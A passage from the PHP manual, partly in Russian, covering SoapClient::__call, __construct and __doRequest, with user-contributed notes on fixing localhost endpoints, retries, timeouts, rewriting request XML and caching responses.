So I moved the WSDL local to the PHP file and accessed it directly. Still no calls. Turns out, PHP's SoapClient seems to have a problem with 'localhost' as a web service endpoint. So I hand-edited the web service endpoint URL to read 127.0.0.1 instead of localhost, and Voila! Web Service calls work:

Here is my PHP, now working:
<?php
$client = new SoapClient("http://localhost/code/soap.wsdl");
$something =  $client->HelloWorld(array());
echo $something->HelloWorldResult;
die();

?>

Here is my modified WSDL:
  <wsdl:service name="MyService">
    <wsdl:port name="MyServiceSoap" binding="tns:MyServiceSoap">
      <soap:address location="http://127.0.0.1:55274/MyService/MyService.asmx" />
....

    </wsdl:port>
stepan dot zarubin at gmail dot com 30-Jun-2011 11:51
Well, this example works fine:

<?php
try {
    $x = @new SoapClient("non-existent.wsdl");
} catch (Exception $e) {
    echo $e->getMessage();
}
?>

Just make sure use NEW with @.
jjlopez 09-Mar-2011 11:36
If you are making soap calls in WSDL mode , and the address of your web service includes a port different from 80 (like http://my_ip_address:8080//service.asmx?wsdl), the WSDL file is fetched correctly, but all subsequent requests are made without any port in the host field. This causes a SoapFault exception when trying to call any of the service's methods.

You need to redefine the soapClient class and force the port in each call.

See this example:

http://www.victorstanciu.ro/php-soapclient-port-bug-workaround/
hugues at zonereseau dot com 17-Feb-2011 09:17
When you need to connect to services requiring to send extra header use this method.

Here how we can to it with PHP and SoapClient

<?php
class exampleChannelAdvisorAuth
{
    public $DeveloperKey;
    public $Password;

    public function __construct($key, $pass)
    {
        $this->DeveloperKey = $key;
        $this->Password = $pass;
    }
}

$devKey        = "";
$password    = "";
$accountId    = "";

// Create the SoapClient instance
$url         = "";
$client     = new SoapClient($url, array("trace" => 1, "exception" => 0));

// Create the header
$auth         = new ChannelAdvisorAuth($devKey, $password);
$header     = new SoapHeader("http://www.example.com/webservices/", "APICredentials", $auth, false);

// Call wsdl function
$result = $client->__soapCall("DeleteMarketplaceAd", array(
    "DeleteMarketplaceAd" => array(
        "accountID"        => $accountId,
        "marketplaceAdID"    => "9938745"        // The ads ID
    )
), NULL, $header);

// Echo the result
echo "<pre>".print_r($result, true)."</pre>";
if($result->DeleteMarketplaceAdResult->Status == "Success")
{
    echo "Item deleted!";
}
?>
fourat dot zouari at tritux dot com 20-Jun-2009 08:08
In addition to the KeepAlive trick which is a "server-side" modification, on the "client side" default_socket_timeout should be increased from its default value (60) when you deal with ~slow SOAP servers.
As for the KeepAlive, if creating a new separate vhost for the soap api is not possible, you can add this to your existing vhost: BrowserMatch "^PHP-SOAP" nokeepalive
where PHP-SOAP is the agent name of your soap client, if you dont know what agent name your client use, just checkout the access.log of your apache.
peter dot hansen at fastit dot net 01-May-2009 06:57
When you get errors like:
"Fatal error: Uncaught SoapFault exception: [HTTP] Error Fetching http headers in"
after a few (time intensive) SOAP-Calls, check your webserver-config.

Sometimes the webservers "KeepAlive"-Setting tends to result in this error. For SOAP-Environments I recommend you to disable KeepAlive.

Hint: It might be tricky to create a dedicated vhost for your SOAP-Gateways and disable keepalive just for this vhost because for normal webpages Keepalive is a nice speed-boost.


Вызывает SOAP-функцию (устаревший метод)

  • « SoapClient
  • SoapClient::__construct »
  • PHP Manual
  • SoapClient
  • Вызывает SOAP-функцию (устаревший метод)

SoapClient::__call

(PHP 5, PHP 7, PHP 8)

SoapClient::__call — Вызывает SOAP-функцию (устаревший метод)

Описание

public SoapClient::__call(string $name, array $args): mixed

Вызов этого метода напрямую устарел. Обычно функции SOAP могут вызываться как методы объекта SoapClient; в ситуациях, когда это невозможно или требуются дополнительные опции, используйте метод SoapClient::__soapCall()..

Список параметров

name

Имя вызываемой функции SOAP.

args

Массив аргументов для передачи функции. Может быть упорядоченный или ассоциативный массив. Обратите внимание, что большинство серверов SOAP требуют предоставления имён параметров, в этом случае должен быть ассоциативный массив.

Возвращаемые значения

Функции SOAP могут возвращать одно или несколько значений. Если функция SOAP возвращает только одно значение, то возвращаемое значение будет скаляром. Если возвращается несколько значений, то вместо них возвращается ассоциативный массив именованных выходных параметров.

В случае возникновения ошибки, если объект SoapClient был объявлен с опцией exceptions со значением false, будет возвращён объект SoapFault.

User Contributed Notes

philipp dot gruber at catchoftheday dot com dot au 07-Apr-2014 12:27
If you are using a WSDL, the library will strip out anything from your parameters that is not defined in WSDL, without giving you any notice about this.

So if your parameters are not fully matching the WSDL, it will simply send no parameters at all.
This can be a bit hard to debug if you don't have access to the target server.

__soapCall() expects parameters in an array called 'parameters' as opposed to calling the function via it's WSDL name, where it accepts the parameters as a plain array.

I.e. if a function called sendOrder expects a parameter (array) called orderDetails, you can call it like this:

$orderDetails = array(/* your data */);
$soap->sendOrder(array('orderDetails' => $orderDetails));

Which is equivalent to:

$client->__soapCall('sendOrder', array('parameters' => array('orderDetails' => $orderDetails)));

Note the additional 'parameters' key used in __soapCall().
KRavEN 17-Jun-2009 06:56
extend of __call thats adds a retry to handle the occasional 'Could not connect to host' exceptions

<?php
class LocalSoapClient extends SoapClient
{

  public function __call($function_name, $arguments)
  {
    $result = false;
    $max_retries = 5;
    $retry_count = 0;

    while(! $result && $retry_count < $max_retries)
    {
      try
      {
        $result = parent::__call($function_name, $arguments);
      }
      catch(SoapFault $fault)
      {
        if($fault->faultstring != 'Could not connect to host')
        {
          throw $fault;
        }
      }
      sleep(1);
      $retry_count ++;
    }
    if($retry_count == $max_retries)
    {
      throw new SoapFault('Could not connect to host after 5 attempts');
    }
    return $result;
  }
}
?>
bananos at dev dot co dot ua 11-Apr-2008 05:13
I'm writing PHP SOAP client (based on php_soap extension) which uses Google AdService,
today, I tried to create sample Ad using   AdService::addAds()  and discovered that my SOAP library does not pass
"headline", "description1", "description2"  parameters in SOAP request.

First, I thought that this was something wrong with my data, coz I was getting validation errors like
"One or more input elements failed validation."   Then I decided to take a look at WSDL description
https://adwords.google.com/api/adwords/v11/AdService?wsdl

And voila !  I've found this:

<complexType name="Ad" abstract="true">
<sequence>
  <element name="adGroupId" type="xsd:int"/>
  <element name="adType" nillable="true" minOccurs="0" type="impl:AdType"/>
  <element name="destinationUrl" nillable="true" minOccurs="0" type="xsd:string"/>
  <element name="disapproved" type="xsd:boolean"/>
  <element name="displayUrl" nillable="true" minOccurs="0" type="xsd:string"/>
  <element name="exemptionRequest" nillable="true" minOccurs="0" type="xsd:string"/>
  <element name="id" type="xsd:long"/>
  <element name="status" nillable="true" minOccurs="0" type="impl:AdStatus"/>
</sequence>

</complexType>

There is no any ''description", "headline1", "headline2", however there is another complexType

<complexType name="TextAd">
    <complexContent>
    <extension base="impl:Ad">
    <sequence>

<element name="description1" nillable="true" type="xsd:string"/>
<element name="description2" nillable="true" type="xsd:string"/>
<element name="headline" nillable="true" type="xsd:string"/>
</sequence>

</extension>
</complexContent>
</complexType>

So, the thing is when you are working with php_soap be aware of complexType extensions which does not work in php_soap when you try to do things like:

<?php

$client = new
    SoapClient(
       "https://adwords.google.com/api/adwords/v11/AdService?wsdl",
        array(  'trace'      => true,
                'exceptions' => true,
             )

    );

$entropy     = substr(md5(rand(0, time())), 0, 10);
//create Ad test structure
$sample_ad =  array(
               "id" => 0,
               "adGroupId" => 0,
               "adType" => 'TextAd',
               "disapproved" => false,
               "destinationUrl" => 'http://test.com',
               "displayUrl" => 'www.Test.com',
               "status" => "Paused", //  Enabled / Disabled
               "descr_iption1" => 'D1_'.$entropy,
               "des_cription2" => 'D2_'.$entropy,
               "head_line" => 'H_'.$entropy
        );

$client->addAds(array('ads' => array($sample_ad) );
?>
Samil Abud 19-Dec-2007 12:00
Hi,
This is a good example, for the SOAP function "__call".
However it is deprecated.

<?php
$wsdl = "http://webservices.tekever.eu/ctt/?wsdl";
$int_zona = 5;
$int_peso = 1001;
$cliente = new SoapClient($wsdl);
print "<p>Envio Internacional: ";
$vem = $cliente->__call('CustoEMSInternacional',array($int_zona, $int_peso));
print $vem;
print "</p>";
?>


Конструктор класса SoapClient

  • « SoapClient::__call
  • SoapClient::__doRequest »
  • PHP Manual
  • SoapClient
  • Конструктор класса SoapClient

SoapClient::__construct

(PHP 5, PHP 7, PHP 8)

SoapClient::__construct — Конструктор класса SoapClient

Описание

public SoapClient::__construct(?string $wsdl, array $options = [])

Создаёт объект SoapClient для подключения к службе SOAP.

Список параметров

wsdl

URI WSDL-файла, описывающего сервис, который используется для автоматической настройки клиента. Если он не указан, клиент будет работать в режиме без WSDL. mode.

Замечание:

По умолчанию WSDL-файл будет кешироваться для повышения производительности. Чтобы отключить или настроить кеширование, смотрите раздел Опции настройки SOAP и параметр cache_wsdl.

options

Ассоциативный массив, определяющий дополнительные параметры для клиента SOAP. Если указан параметр wsdl, это необязательно, в противном случае, по крайней мере параметры location и url должны быть указаны.

location string

URL-адрес сервера SOAP для отправки запроса.

Обязателен, если параметр wsdl не указан. Если предоставлены и параметр wsdl и location, параметр location будет приоритетнее расположения, указанного в WSDL-файле.

uri string

Целевое пространство имён службы SOAP.

Обязателен, если параметр wsdl не указан; в противном случае игнорируется.

style int

Определяет стиль связывания, который будет использоваться клиентом, используя константы SOAP_RPC и SOAP_DOCUMENT. Константа SOAP_RPC указывает на привязку в стиле RPC, где тело запроса SOAP содержит стандартное кодирование вызова функции. Константа SOAP_DOCUMENT указывает на привязку в стиле документа, где тело запроса SOAP содержит XML-документ с определённым службой значением.

Если указан параметр wsdl, то этот параметр игнорируется, а стиль считывается из WSDL-файла.

Если ни этот параметр, ни параметр wsdl не указан, используется RPC-стиль.

use int

Определяет стиль кодировки, который будет использоваться клиентом, используя константы SOAP_ENCODED или SOAP_LITERAL. Константа SOAP_ENCODED указывает на кодирование с использованием типов определённых в спецификации SOAP. Константа SOAP_LITERAL указывает на кодирование с использованием схемы определённой службой.

Если указан параметр wsdl, этот параметр игнорируется, а кодировка считывается из файла WSDL.

Если ни этот параметр, ни параметр wsdl не указаны, используется стиль "encoded".

soap_version int

Определяет версию протокола SOAP: Константа SOAP_1_1 для SOAP 1.1, или SOAP_1_2 для SOAP 1.2.

Если опущено, используется SOAP 1.1.

authentication int

Указывает метод аутентификации при использовании HTTP-аутентификации в запросах. Значение может быть либо SOAP_AUTHENTICATION_BASIC, либо SOAP_AUTHENTICATION_DIGEST.

Если параметр не указан, но указан параметр login, используется Basic Authentication.

login string

Имя пользователя для использования при аутентификации HTTP Basic или Digest.

password string

Пароль для использования при аутентификации HTTP Basic или Digest.

Не следует путать с параметром passphrase, который используется при аутентификации сертификата клиента HTTPS.

local_cert string

Путь к клиентскому сертификату для использования с аутентификацией HTTPS. Должен быть файл в кодировке PEM, содержащий сертификат и закрытый ключ.

Файл также может включать цепочку эмитентов, которая должна идти после сертификата клиента.

Также может быть задан с помощью параметра stream_context, который также поддерживает указание отдельного файла закрытого ключа.

passphrase string

Ключевая фраза для клиентского сертификата, указанного в параметре local_cert.

Не следует путать с параметром password, который используется для аутентификации Basic или Digest.

Можно также установить с помощью параметра stream_context.

proxy_host string

Имя хоста для использования в качестве прокси-сервера для HTTP-запросов.

Также должен быть указан параметр proxy_port.

proxy_port int

TCP-порт для использования при подключении к прокси-серверу, указанному в параметре proxy_host.

proxy_login string

Необязательное имя пользователя для аутентификации на прокси-сервере, указанном в параметре proxy_host, используя HTTP Basic Authentication.

proxy_password string

Необязательный пароль для аутентификации на прокси-сервере, указанном в параметре proxy_host, используя HTTP Basic Authentication.

compression int

Включает сжатие HTTP SOAP запросов и ответов.

Значение должно быть побитовым ИЛИ из трёх частей: необязательная SOAP_COMPRESSION_ACCEPT, для отправки заголовка "Accept-Encoding"; либо константа SOAP_COMPRESSION_GZIP или SOAP_COMPRESSION_DEFLATE для указания используемого алгоритма сжатия; число от 1 до 9, чтобы указать уровень сжатия, который будет использоваться в запросе. Например, чтобы включить двустороннее сжатие gzip с максимальным уровнем сжатия, используйте SOAP_COMPRESSION_ACCEPT | SOAP_COMPRESSION_GZIP | 9.

encoding string

Определяет внутреннюю кодировку символов. Запросы всегда отправляются в UTF-8 и преобразуются в эту кодировку и обратно.

trace bool

Захватывает информацию о запросе и ответе, которая затем может быть доступна с помощью методов:
SoapClient::__getLastRequest(),
SoapClient::__getLastRequestHeaders(),
SoapClient::__getLastResponse()
и SoapClient::__getLastResponseHeaders().

Если опущено, по умолчанию используется значение false.

classmap array

Используется для сопоставления типов, определённых в WSDL с классами PHP. Должен быть указан ассоциативный массив (array) с именами типов из WSDL в качестве ключей и именами классов PHP в качестве значений. Обратите внимание, что имя типа элемента не обязательно совпадает с именем элемента (тега).

Предоставляемые имена классов всегда должны быть полностью определены с помощью любых пространств имён и никогда не должны начинаться с ведущего слеша (\). Правильная форма может быть указана с помощью ::class.

Обратите внимание, что при создании класса конструктор вызываться не будет, но магические методы __set() и __get() будут вызываться для отдельных свойств.

typemap array

Используется для определения сопоставлений типов с помощью определяемых пользователем callback-функций. Каждое сопоставление типов должно представлять собой массив с ключами type_name (строка (string), определяющая тип элемента XML); type_ns (строка (string), содержащая пространство имён URI); from_xml (callable, принимающий один строковый параметр и возвращающий объект) и to_xml (callable, принимающий один объектный параметр и возвращающий строку).

exceptions bool

Определяет, будут ли ошибки выбрасывать исключение типа SoapFault.

По умолчанию значение true

connection_timeout int

Определяет время ожидания в секундах для соединения с сервисом SOAP. Параметр не определяет время ожидания служб с медленными ответами. Чтобы ограничить время ожидания завершения вызовов, можно использовать параметр конфигурации default_socket_timeout.

cache_wsdl int

Если указан параметр wsdl, а также параметр soap.wsdl_cache_enabled включён, этот параметр определяет тип кеширования. Одно из значений: WSDL_CACHE_NONE, WSDL_CACHE_DISK, WSDL_CACHE_MEMORY или WSDL_CACHE_BOTH.

Доступны два типа кеша: кеширование в памяти, которое кеширует WSDL в памяти текущего процесса и дисковое кеширование, которое кеширует WSDL в файле на диске, разделяемом между всеми процессами. Каталог, который будет использоваться для дискового кеша, определяется параметром soap.wsdl_cache_dir. Оба кеша используют одинаковое время жизни, определяемое параметром soap.wsdl_cache_ttl. У кеша в памяти также есть максимальное количество записей, определяемое параметром soap.wsdl_cache_limit.

Если не указано, будет использоваться параметр конфигурации soap.wsdl_cache.

user_agent string

Значение для использования в HTTP-заголовке User-Agent при выполнении запросов.

Можно также установить с помощью параметра stream_context.

Если не указано, User-Agent будет "PHP-SOAP/" за которым следует значение PHP_VERSION.

stream_context resource

Контекст stream context, созданный с помощью функции stream_context_create(), которая позволяет установить дополнительные параметры.

Контекст может включать параметры контекста сокета, параметры контекста SSL, а также выбранные опции контекста HTTP: content_type, header, max_redirects, protocol_version, и user_agent.

Обратите внимание, что следующие HTTP-заголовки генерируются автоматически или на основе других параметров и будут игнорироваться, если указаны в параметре контекста 'header': host, connection, user-agent, content-length, content-type, cookie, authorization и proxy-authorization

features int

Битовая маска для включения одной или нескольких следующих функций:

SOAP_SINGLE_ELEMENT_ARRAYS

При декодировании ответа в массив по умолчанию определяется, появляется ли имя элемента один или несколько раз в определённом родительском элементе. Для элементов, которые появляются только один раз, свойство объекта позволяет получить прямой доступ к содержимому; для элементов, которые появляются более одного раза, свойство содержит массив с содержимым каждого соответствующего элемента.

Если включена функция SOAP_SINGLE_ELEMENT_ARRAYS, элементы, которые появляются только один раз, помещаются в одноэлементный массив, чтобы доступ был последовательным для всех элементов. Это будет работать только при использовании WSDL, содержащего схему для ответа. Для демонстрации смотрите раздел с примерами.

SOAP_USE_XSI_ARRAY_TYPE

Если параметру use или свойству WSDL передано значение encoded, массивы принудительно используют тип SOAP-ENC:Array, а не специфический для схемы.

SOAP_WAIT_ONE_WAY_CALLS

Ожидание ответа, даже если WSDL указывает на односторонний запрос.

keep_alive bool

Логическое значение, определяющее, следует ли отправлять заголовок Connection: Keep-Alive или Connection: close.

По умолчанию true

ssl_method string

Определяет версию протокола SSL или TLS для использования в защищённых HTTP-соединениях вместо согласования по умолчанию. Указание SOAP_SSL_METHOD_SSLv2 или SOAP_SSL_METHOD_SSLv3 заставит использовать SSL 2 или SSL 3, соответственно. Указание константы SOAP_SSL_METHOD_SSLv23 не имеет никакого смысла; константа существует только для обратной совместимости. Начиная с PHP 7.2, указание константы SOAP_SSL_METHOD_TLS также не имеет никакого смысла; в более ранних версиях константа определяла принудительное использование TLS 1.0.

Обратите внимание, что SSL версий 2 и 3 считаются небезопасными и могут не поддерживаться установленной библиотекой OpenSSL.

Параметр объявлен УСТАРЕВШИМ, начиная с PHP 8.1.0. Более гибкой альтернативой, позволяющей указывать отдельные версии TLS, можно использовать параметр stream_context с параметром контекста 'crypto_method'.

Пример #1 Указание использования только TLS 1.3

<?php
$context = stream_context_create([
'ssl' => [
'crypto_method' => STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT
]
]);
$client = new SoapClient("some.wsdl", ['context' => $context]);

Ошибки

Метод SoapClient::__construct() выводит ошибку уровня E_ERROR, если параметры location и uri не указаны в режиме не-WSDL.

Выбрасывается исключение SoapFault, если параметр wsdl URI не может быть загружен.

Примеры

Пример #2 Пример использования SoapClient::__construct()

<?php

$client = new SoapClient("some.wsdl");

$client = new SoapClient("some.wsdl", array('soap_version' => SOAP_1_2));

$client = new SoapClient("some.wsdl", array('login' => "some_name",
'password' => "some_password"));

$client = new SoapClient("some.wsdl", array('proxy_host' => "localhost",
'proxy_port' => 8080));

$client = new SoapClient("some.wsdl", array('proxy_host' => "localhost",
'proxy_port' => 8080,
'proxy_login' => "some_name",
'proxy_password' => "some_password"));

$client = new SoapClient("some.wsdl", array('local_cert' => "cert_key.pem"));

$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
'uri' => "http://test-uri/"));

$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
'uri' => "http://test-uri/",
'style' => SOAP_DOCUMENT,
'use' => SOAP_LITERAL));

$client = new SoapClient("some.wsdl",
array('compression' => SOAP_COMPRESSION_ACCEPT | SOAP_COMPRESSION_GZIP | 9));

$client = new SoapClient("some.wsdl", array('encoding'=>'ISO-8859-1'));

class MyBook {
public $title;
public $author;
}

$client = new SoapClient("books.wsdl", array('classmap' => array('book' => "MyBook")));

$typemap = array(
array("type_ns" => "http://schemas.example.com",
"type_name" => "book",
"from_xml" => "unserialize_book",
"to_xml" => "serialize_book")
);
$client = new SoapClient("books.wsdl", array('typemap' => $typemap));

?>

Пример #3 Пример использования SOAP_SINGLE_ELEMENT_ARRAYS

/* Предполагая, что ответ, подобный этому, и соответствующий WSDL:
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns="urn:example">
<SOAP-ENV:Body>
<response>
<collection>
<item>Single</item>
</collection>
<collection>
<item>First</item>
<item>Second</item>
</collection>
</response>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
*/

echo "По умолчанию:\n";

$client = new TestSoapClient(__DIR__ . '/temp.wsdl');
$response = $client->exampleRequest();
var_dump( $response->collection[0]->item );
var_dump( $response->collection[1]->item );

echo "\nС помощью SOAP_SINGLE_ELEMENT_ARRAYS:\n";

$client = new TestSoapClient(__DIR__ . '/temp.wsdl', ['features' => SOAP_SINGLE_ELEMENT_ARRAYS]);
$response = $client->exampleRequest();
var_dump( $response->collection[0]->item );
var_dump( $response->collection[1]->item );

Результат выполнения приведённого примера:

По умолчанию:
string(6) "Single"
array(2) {
  [0] =>
  string(5) "First"
  [1] =>
  string(6) "Second"
}

С помощью SOAP_SINGLE_ELEMENT_ARRAYS:
array(1) {
  [0] =>
  string(6) "Single"
}
array(2) {
  [0] =>
  string(5) "First"
  [1] =>
  string(6) "Second"
}

User Contributed Notes

There are no user contributed notes for this page.


Выполняет SOAP-запрос

  • « SoapClient::__construct
  • SoapClient::__getCookies »
  • PHP Manual
  • SoapClient
  • Выполняет SOAP-запрос

SoapClient::__doRequest

(PHP 5, PHP 7, PHP 8)

SoapClient::__doRequest — Выполняет SOAP-запрос

Описание

public SoapClient::__doRequest(
string $request,
string $location,
string $action,
int $version,
bool $oneWay = false
): ?string

Выполняет SOAP-запрос поверх HTTP.

Этот метод может быть переопределён в подклассах для реализации других транспортных уровней, выполнения дополнительной обработки XML или других целей.

Список параметров

request

Запрос XML SOAP.

location

URL для запроса.

action

Действие SOAP.

version

Версия SOAP.

oneWay

Если oneWay равен true, метод ничего не возвращает. Этот параметр используется, когда не ожидается ответа.

Возвращаемые значения

Ответ XML SOAP.

Список изменений

Версия | Описание
8.0.0 | Тип oneWay теперь bool; раньше он был целым числом (int).

Примеры

Пример #1 Пример использования SoapClient::__doRequest()

<?php
function Add($x,$y) {
return $x+$y;
}

class LocalSoapClient extends SoapClient {

function __construct($wsdl, $options) {
parent::__construct($wsdl, $options);
$this->server = new SoapServer($wsdl, $options);
$this->server->addFunction('Add');
}

function __doRequest($request, $location, $action, $version, $one_way = 0) {
ob_start();
$this->server->handle($request);
$response = ob_get_contents();
ob_end_clean();
return $response;
}

}

$x = new LocalSoapClient(NULL,array('location'=>'test://',
'uri'=>'http://testuri.org'));
var_dump($x->Add(3,4));
?>

User Contributed Notes

tschallacka 22-Mar-2016 02:01
I just wanted to note in plain english how to build up this request, because I made some assumptions by just misterpreting the parameters.

This is for future reference(for myself) and others that might end up a bit mistified by just not understanding the finesses of soap and are trying to learn.

    $this->__doRequest(string $request , string $location , string $action , int $version [, int $one_way = 0 ] );

$request = The XML Soap enveloppe
$location = The url to the WSDL file. No matter that you defined this before when setting up the object, you need to reuse it here.
$action = the soap action to be performed. This is defined in the wsdl file and can be in the form of a single form or an url. it's just a parameter and might not be an actual valid url
$version = SOAP_1_1 =  content headers (Content-Type: text/xml; CHARSET=Windows-1251?)
                  SOAP_1_2 = content headers (Content-Type: application/soap+xml; CHARSET=Windows-1251; action="somesoapaction defined in $action")

If you send a SOAP_1_2 request to a SOAP_1_1 server you might get a reply in the following form

    HTTP/1.1 415 Cannot process the message because the content type 'application/soap+xml; CHARSET=Windows-1251; action="somesoapaction defined in $action"' was not the expected type 'text/xml; CHARSET=Windows-1251'.

You need to switch down to SOAP_1_1 in that case to get the proper formatting the server can understand
tbernard at qcsupply dot com 02-Feb-2015 05:08
If you're having trouble connecting to an authenticated SOAP service there's something important to note here.

__doRequest() is only used when a SOAPClient function is called, NOT when the WSDL if fetched and parsed.  That means if your WSDL file is not publicly accessible but also resides behind your authentication it won't be accessible by default.  Instead you'll have to create an overloaded stream wrapper and register it for whatever protocol (probably HTTP) you'll be using.
darren dot yee at emc dot com 13-Mar-2013 10:45
Note when extending __doRequest, calling __getLastRequest will probably report incorrect information unless you make sure to update the internal __last_request variable. Save yourself some headaches.

function __doRequest($request, $location, $action, $version) {
      $request = preg_replace('/abc/', 'def', $request);
      $ret = parent::__doRequest($request, $location, $action, $version);
      $this->__last_request = $request;
      return $ret;
}
alireza dot meskin at gmail 02-Apr-2012 12:29
Change Blocking mode for Socket stream and set Timeout for Soap requests

<?php

class TimeoutSoapClient extends SoapClient
{
    const TIMEOUT = 20;
    public function __doRequest($request, $location, $action, $version, $one_way = 0)
    {
        $url_parts = parse_url($location);
        $host = $url_parts['host'];
        $http_req = 'POST '.$location.' HTTP/1.0'."\r\n";
        $http_req .= 'Host: '.$host."\r\n";
        $http_req .= 'SoapAction: '.$action."\r\n";
        $http_req .= "\r\n";
        $http_req .= $request;
        $port = 80;
        if ($url_parts['scheme'] == 'https')
        {
            $port = 443;
            $host = 'ssl://'.$host;
        }
        $socket = fsockopen($host, $port);
        fwrite($socket, $request);
        stream_set_blocking($socket, false);
        $response = '';
        $stop = microtime(true) + self::TIMEOUT;
        while (!feof($socket))
        {
            $response .= fread($socket, 2000);
            if (microtime(true) > $stop)
            {
                throw new SoapFault('Client', 'HTTP timeout');
            }
        }
        return $response;
    }
}
bwhitehead at tableausoftware dot no dot com dot spam 12-Aug-2011 02:49
Note that the SoapClient.__doRequest() method circumvents the throwing of SoapFault exceptions.

Specifically, if you call the __doRequest() method and it fails, it would normally throw a SoapFault exception.  However, the __doRequest() method doesn't actually throw the exception. Instead, the exception is saved in a class attribute called SoapFault.__soap_fault, and is actually thrown AFTER the __doRequest method completes (but the call stack will show that the exception was created inside the __doRequest method.

I successfully used the following code to query the locally cached exception object that was not thrown:

<?php
$exception = null;
try {
    $result = parent::__doRequest($request, $location, $action, $version, $one_way);
}
catch (SoapFault $sf) {
    //this code was not reached
    $exception = $sf;
}
catch (Exception $e) {
    //nor was this code reached either
    $exception = $e;
}
if((isset($this->__soap_fault)) && ($this->__soap_fault != null)) {
    //this is where the exception from __doRequest is stored
    $exception = $this->__soap_fault;
}

//decide what to do about the exception here
// [enter code here]
//or throw the exception
if($exception != null) {
    throw $exception;
}
//note: you may want to unset the __soap_fault value if you don't want it thrown again up the call stack
?>
psfere at hotmail dot com 21-Sep-2010 09:52
I was needing to add a blank soap header (<SOAP-ENV:Header /> and found no other place that has done this.  The only way I was able to support this was to extend SoapClient and re-define __doRequest.  Hope this helps someone or if there is support for this in the library, please point me in the right direction:

<?php
class MySoapCli extends SoapClient {
  function __doRequest($request, $location, $action, $version) {
    $dom = new DomDocument('1.0', 'UTF-8');
    $dom->preserveWhiteSpace = false;
    $dom->loadXML($request);
    $hdr = $dom->createElementNS('http://schemas.xmlsoap.org/soap/envelope/', 'SOAP-ENV:Header');
    $dom->documentElement->insertBefore($hdr, $dom->documentElement->firstChild);
    $request = $dom->saveXML();
    return parent::__doRequest($request, $location, $action, $version);
  }
}
?>
lepidosteus 19-Nov-2009 02:59
If you happen to get an error during your request which says "SOAP-ERROR: Encoding: Can't decode apache map, only Strings or Longs are allowd as keys", the reason seems to be the response xml using integer for keys and php failling to understand them

Here is something that worked for me (converts integer keys to strings):

<?php
class mySoap extends SoapClient
{
    public function __doRequest($request, $location, $action, $version)
    {
        $result = parent::__doRequest($request, $location, $action, $version);
        $result = str_replace('<key xsi:type="xsd:int">', '<key xsi:type="xsd:string">', $result);
        return $result;
    }
}

// $soap = new mySoap(...
?>
Artur Graniszewski 08-Nov-2009 04:35
Beware of PHP incosistent behaviour in __doRequest() method. It seems that some arguments passed to this method are passed by reference!

If you try to create your own __doRequest() method and store it's arguments as SoapClient properties you will find that after __soapCall all of them will be null or unknown.

<?php
    protected $__soapAction = '';

    public function __doRequest($request, $location, $action, $version, $oneWay = 0) {
        ob_start();
        $this->server->handle($request);
        $response = ob_get_contents();
        ob_end_clean();
        $this->__soapAction = $action;
        return $response;
    }
?>

In above example $this->__soapAction will be null after $obj->__soapCall()..

To store $action value, you must cast it to a string (so PHP will be forced to create a new variable with different memory pointer):

<?php
    public function __doRequest($request, $location, $action, $version, $oneWay = 0) {
        ob_start();
        $this->server->handle($request);
        $response = ob_get_contents();
        ob_end_clean();
        $this->__soapAction = (string)$action;
        return $response;
    }
?>
james dot ellis at gmail dot com 04-Feb-2008 04:12
If your application interacts with SOAP services and you wish to cache the responses for consumption later, then overriding SoapClient::__doRequest is the way to go.

For instance, if you know that the information presented doesn't change that often and you don't want to do a superfluous HTTP request, you can grab a response from a local cache and let SoapClient do the transformation to PHP data types.

<?php
class YourNamespace_SoapClient_Local extends SoapClient {
    protected $cacheDocument = "";
    public function __construct($wsdl, $options) {
        parent::__construct($wsdl, $options);
    }

    /**
     * SetCacheDocument() sets the previously cached document contents
     */
    public function SetCacheDocument($document) {
        $this->cacheDocument = $document;
    }

    /**
     * __doRequest() overrides the standard SoapClient to handle a local request
     */
    public function __doRequest() {
        return $this->cacheDocument;
    }
}

//---- code snippet showing usage within a class
//$document is a cached SOAP response document from a previous request, saved with SoapClient::__getLastResponse() to some cache somewhere
//for the purpose of this example, it is assumed that $this->wsdl, $this->options, $this->method and $this->params are set.

public function SoapRequest($document) {
    $method = $this->method;
    if($document == "") {
        //uncached
        try {
            //default options
            $client = new SoapClient($this->wsdl, $this->options);
            $result = $client->$method($this->params);
            //send the response to the cache
            $this->CacheResponse($client->__getLastResponse());
        } catch(SoapFault $fault) {
            //log something
            return FALSE;
        }
    } else {
        //cached document
        try {
            /**
             * the WSDL needs to be set to allow the method to be called on the client object
             * and to trigger SoapClient to decode the response to native data types
             */
            $client = new YourNamespace_SoapClient_Local($this->wsdl, $this->options);
            $client->SetCacheDocument($document);
            $result = $client->$method($this->params);
        } catch (SoapFault $fault) {
            //log something
            return FALSE;
        }
    }
    return $result;
}
?>

I'll leave you to work out the caching, plenty of options there.. ;)
albert at jool dot nl 26-Mar-2007 06:28
If you want to communicate with a default configured ASP.NET server with SOAP 1.1 support, override your __doRequest with the following code. Adjust the namespace parameter, and all is good to go.

<?php
class MSSoapClient extends SoapClient {

    function __doRequest($request, $location, $action, $version) {
        $namespace = "http://tempuri.com";

        $request = preg_replace('/<ns1:(\w+)/', '<$1 xmlns="'.$namespace.'"', $request, 1);
        $request = preg_replace('/<ns1:(\w+)/', '<$1', $request);
        $request = str_replace(array('/ns1:', 'xmlns:ns1="'.$namespace.'"'), array('/', ''), $request);

        // parent call
        return parent::__doRequest($request, $location, $action, $version);
    }
}

$client = new MSSoapClient(...);
?>

Hope this will save people endless hours of fiddling...
jfitz at spacelink dot com 05-Dec-2006 09:56
Note that __getLastRequest() data are buffered _before_ the call to __doRequest().  Thus any modifications you make to the XML while in __doRequest() will not be visible in the output of __getLastRequest().   This is so in at least v5.2.0
06-Jul-2006 01:17
Do you have problems with the PHP5 SoapClient when you need to send a request to a service with a ComplexType parameter?

Maybe because my service is build in Delphi with REMObjects SDK 3.0 I had the problems, maybe not. Anyway, this was my remedy:
<?php
$versie = new stdClass();//define a basic class object
$versie->versieID = $aVersie->versieID();//fill it with the exact attributes as your complextype Object in the wsdl is
$versie->versieNummer = $aVersie->versieNummer();
$versie->isActief = $aVersie->isActief();

$soapVersieType = new SoapVar($versie , SOAP_ENC_OBJECT, "Versie", "http://127.0.0.1:8999/SOAP?wsdl"); //create the complex soap type, Versie is the name of my complex type in the wsdl, the latter url beeing the location of my wsdl.

try{
